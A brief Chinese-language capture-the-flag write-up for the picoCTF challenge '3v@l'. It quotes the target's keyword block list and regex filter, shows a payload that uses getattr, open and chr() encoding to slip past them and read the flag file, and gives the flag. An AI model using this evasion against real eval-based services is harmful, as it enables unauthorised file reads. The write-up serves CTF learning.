91 words
1 minute
3v@l
2025-07-13
2025-07-14

3v@l#

index

發現有註解了的規則:

  • 不能用 os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
  • 使用正規表達式過濾,防止目錄遍歷與十六進位編碼
<!--
TODO
------------
Secure python_flask eval execution by
1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
-->

考慮 Python 內建函式操作:

  • openread 這些是內建函式,不在禁止關鍵字內
  • 避開 . 使用,例如用 getattr()
getattr(open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)), 'read')()

得到 flag

flag

picoCTF{D0nt_Use_Unsecure_f@nctions3bc5aa53}